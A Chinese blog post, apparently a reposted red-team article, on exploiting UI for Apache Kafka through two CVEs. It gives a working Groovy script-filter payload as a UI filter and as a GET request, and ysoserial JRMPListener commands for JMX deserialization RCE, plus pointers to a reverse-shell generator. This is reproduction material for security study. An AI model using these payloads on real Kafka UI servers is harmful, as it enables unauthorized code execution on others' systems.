UI for Apache Kafka 后台漏洞(红队内网常见漏洞)

admin 2024年6月24日17:38:07评论86 views字数 2028阅读6分45秒阅读模式

UI for Apache Kafka 后台漏洞(红队内网常见漏洞)

最近测试遇到个apache kafka UI未授权,直接进后台,找了找漏洞看看能不能RCE,毕竟RCE是每个红队人员的梦想。最终找到CVE-2023-52251, CVE-2024-32030这两个漏洞。

测试版本:v0.7.1

CVE-2023-52251

漏洞描述:消息过滤组件(message filtering component)中可以执行任意的groovy脚本,并且获取到的shell没在沙箱中(unsandboxed)。

影响版本:0.4.0-0.7.1

漏洞具体的代码函数方法:

UI for Apache Kafka 后台漏洞(红队内网常见漏洞)

复现: Kafka UI用户页面,Cluster --> Topics --> Messages,然后创建一个新的过滤器。

new ProcessBuilder("touch","/tmp/pwnd.txt").start()
UI for Apache Kafka 后台漏洞(红队内网常见漏洞)

或者直接发GET请求也可以实现

GET /api/clusters/local/topics/topic/messages?q=new+ProcessBuilder%28%22touch%22%2C%22%2Ftmp%2Fpwnd.txt%22%29.start%28%29&filterQueryType=GROOVY_SCRIPT&attempt=7&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING HTTP/1.1
Host: 127.0.0.1:8091

反弹shell可以去https://www.revshells.com/ 直接生成groovy payload。

然后你需要发送一条消息到Kafka UI接口,以触发脚本执行。

/api/clusters/local/topics/{topic}/messages?q={payload}

https://github.com/BobTheShoplifter/CVE-2023-52251-POC

CVE-2024-32030

漏洞描述:大部分UI都是未授权进后台,UI API允许用户通过网络地址和端口连接到不通的kafka代理,作为一个单独的特性,它提供了通过kafka代理的JMX端口来监视其性能的功能(这个好像之前kafka的其他应用也存在这个问题),JMX 基于 RMI 协议,所以攻击者可以在后台设置 Kafka UI 连接到恶意的 JMX 服务器,从而进行jndi反序列化RCE利用。

前提: 1、需要dynamic.config.enabled这个参数为true,默认是不开启的,但是需要教程都是提示你要开启这个参数,包括kafka自己的官方教程。 2、或者!用户管理员对其进行了kafka集群设置。

复现:

git clone https://github.com/artsploit/ysoserial/
cd ysoserial && git checkout scala1
mvn package -D skipTests=true #make sure you use Java 8 for compilation, it might not compile with recent versions
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 Scala1 "org.apache.commons.collections.enableUnsafeSerialization:true"

jndi就不用多说了,直接ysoserial生成一个载荷。监听在1718端口。

Kafka UI中,导航到控制台,设置一个新的集群(Dashboard->Configure New Cluster ),Bootstrap server设置IP,jmx地址为我们监听的1718端口。

UI for Apache Kafka 后台漏洞(红队内网常见漏洞)

当你添加完这个集群的时候,就可以在ysoserial工具中看到传入一个连接。

UI for Apache Kafka 后台漏洞(红队内网常见漏洞)

这一步的操作不是rce,而且将系统属性进行更改,system property org.apache.commons.collections.enableUnsafeSerialization 设置为true,此时你的kafka UI日志会收到这个报错。

UI for Apache Kafka 后台漏洞(红队内网常见漏洞)
java -cp target/ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1718 CommonsCollections7 "touch /tmp/pwnd2.txt"

使用cc7链子,生成载荷,执行创建文件的命令。此时看日志,rmi报错,并且执行命令。

UI for Apache Kafka 后台漏洞(红队内网常见漏洞)

原文始发于微信公众号(安全光圈):UI for Apache Kafka 后台漏洞(红队内网常见漏洞)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月24日17:38:07
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   UI for Apache Kafka 后台漏洞(红队内网常见漏洞)https://cn-sec.com/archives/2879489.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息